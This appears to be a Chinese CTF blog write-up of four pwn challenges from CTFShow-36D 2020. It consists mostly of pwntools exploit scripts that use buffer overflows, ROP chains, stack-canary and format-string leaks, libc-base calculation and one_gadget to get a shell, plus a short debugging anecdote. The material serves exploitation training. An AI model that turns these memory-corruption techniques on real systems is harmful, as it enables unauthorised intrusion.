CTFShow-36D 2020 pwn

pwn0
PWN_MagicString
mengxin
tang

@TOC

pwn0

#!/usr/bin/env python2
from pwn import *

arch = "amd64"
filename = "pwn0"

context(os="linux", arch=arch, log_level="debug")
content = 0

offset = 0
# elf
elf = ELF(filename)
pop_rdi_addr=0x00000000004006d3
sys_addr=0x00000000004004E0
binsh_addr=0x601040    #***
# libc

def b(addr):
    bk = "b *$rebase" + str(addr)
    gdb.attach(io, bk)
    success("attach")

def main():
    global io
    if content == 0:
        io = process("./" + filename)
    else:
        io = remote("")
    payload=b'a'*(0x28)+p64(pop_rdi_addr)+p64(binsh_addr)+p64(sys_addr)
    io.sendline(payload)
    io.interactive()
main()

PWN_MagicString

#!/usr/bin/env python2
from pwn import *

arch = "amd64"
filename = "PWN_MagicString"

context(os="linux", arch=arch, log_level="debug")
content = 0

offset = 0
# elf
elf = ELF(filename)
pop_rdi=0x0000000000400733
ti_addr=0x60104D
binsh_addr=0x601048
magic_addr=0x000000000040062D
sys_addr=0x00000000004004F0
# libc


def b(addr):
    bk = "b *$rebase" + str(addr)
    gdb.attach(io, bk)
    success("attach")

def main():
    global io
    if content == 0:
        io = process("./" + filename)
    else:
        io = remote("")
    payload=b'a'*(0x2A0+8)+p64(pop_rdi)+p64(ti_addr)+p64(magic_addr)+p64(pop_rdi)+p64(binsh_addr)+p64(sys_addr)
    io.sendline(payload)
    io.interactive()
main()

mengxin

#!/usr/bin/env python2

from pwn import *

arch = "amd64"
filename = "mengxin"

context(os="linux", arch=arch, log_level="debug")
content = 0

offset = 0
# elf
elf = ELF(filename)
# libc
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ogg_libc=[0x45226,0x4527a,0xf0364,0xf1207]
def b(addr):
    bk = "b *$rebase" + str(addr)
    gdb.attach(io, bk)
    success("attach")

def main():
    global io
    if content == 0:
        io = process("./" + filename)
    else:
        io = remote("")

    ######leak_canary#####
    payload=b'a'*(0x40-0x18+1)
    io.send(payload)
    io.recvuntil(b'a'*(0x40-0x18))
    canary=u64(io.recv(8))-0x61
    print("canary:",hex(canary))
    gdb.attach(io, 'b printf')

    #####ret2main#####
    payload=b'a'*(0x40-0x18)+p64(canary)
    payload=payload.ljust(0x48,b'a')
    #payload+=b'\x0d'    #\x00 \x05 \x06 \x07 \x08 \x0a
    io.sendline(payload)

    #####leak_libc#####
    payload=b'a'*(0x48)
    io.send(payload)
    io.recvuntil(b'a'*(0x48))
    __libc_start_main=u64(io.recv(6).ljust(8,b'\x00'))-240#+0x36
    libcbase=__libc_start_main-libc.symbols['__libc_start_main']
    ogg_addr=libcbase+ogg_libc[0]

    print("__libc_start_main:", hex(__libc_start_main))
    print("libcbase:", hex(libcbase))
    print("ogg_addr:", hex(ogg_addr))

    ######getshell#####
    payload = b'a' * (0x40 - 0x18) + p64(canary)
    payload = payload.ljust(0x48, b'a')
    payload+=p64(ogg_addr)
    io.sendline(payload)

    io.interactive()
main()

tang

一开始其实就打算用onegadget结果第二次泄露libc的时候忘记加6（6个寄存器）（开始泄露canary就错了一遍，哭了。。），导致一直出错，回过头向注入shellcode，开始没细想，ida中看到那一段附近可执行，就加上偏移，往里写shellcode，结果还是不行，仔细一看，发现可执行段都很短，并且中间还有分隔，又回过头看onegadget，调了好长时间，才发现是printf泄露时出错了555，下次泄露出来东西一定先打印。

#!/usr/bin/env python2
#coding=utf-8
from pwn import *

arch = "amd64"
filename = "tang"

context(os="linux", arch=arch, log_level="debug")
content = 0

offset = 0
# elf
elf = ELF(filename)
# libc
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ogg_libc=[0x45226,0x4527a,0xf0364,0xf1207]
def b(addr):
    bk = "b *$rebase" + str(addr)
    gdb.attach(io, bk)
    success("attach")

def main():
    global io
    if content == 0:
        io = process("./" + filename)
    else:
        io = remote("")
    ######leak_canary######
    io.recvuntil("你怎么了？\n")
    #gdb.attach(io, "b printf")
    io.sendline(b'%9$p')  #6+3
    canary=int(io.recv(18),16)
    print("canary:",hex(canary))
    io.recvuntil("烫烫烫烫烫烫烫烫烫烫烫烫\n")
    payload = b'aaaa'
    # payload=b'\x90'*(0xB0)+asm(shellcraft.sh())
    io.send(payload)
    ######ret2main######
    io.recvuntil("...你把手离火炉远一点！\n")
    payload=b'a'*(0x50-0x18)+p64(canary)
    payload=payload.ljust(0x58,b'\x00')
    payload+=b'\x00'
    io.send(payload)
    #######leak_libc######
    io.recvuntil("你怎么了？\n")
    io.send(b'%23$p')  # 6+17
    libc_start_main=int(io.recv(14), 16)-240
    #main_base= int(io.recv(14), 16)-2641
    #shell_addr=main_base+0x0000000000000C28
    #print("main_base:",hex(main_base))
    #print("shell_addr:",hex(shell_addr))
    #####count#####
    libcbase=libc_start_main-libc.symbols['__libc_start_main']
    print("libc_start_main:", hex(libc_start_main))
    print("libcbase:", hex(libcbase))
    ogg_addr=libcbase+ogg_libc[3]
    ###########
    io.recvuntil("烫烫烫烫烫烫烫烫烫烫烫烫\n")
    payload=b'aaaa'
    #payload=b'\x90'*(0xB0)+asm(shellcraft.sh())
    #gdb.attach(io, "b read")
    io.send(payload)
    #####getshell#####
    io.recvuntil("...你把手离火炉远一点！\n")
    payload = b'a' * (0x50 - 0x18) + p64(canary)
    payload = payload.ljust(0x58, b'\x00')
    payload += p64(ogg_addr)
    io.sendline(payload)
    io.interactive()
main()

-------------本文结束感谢您的阅读-------------

赏

谢谢你请我吃糖果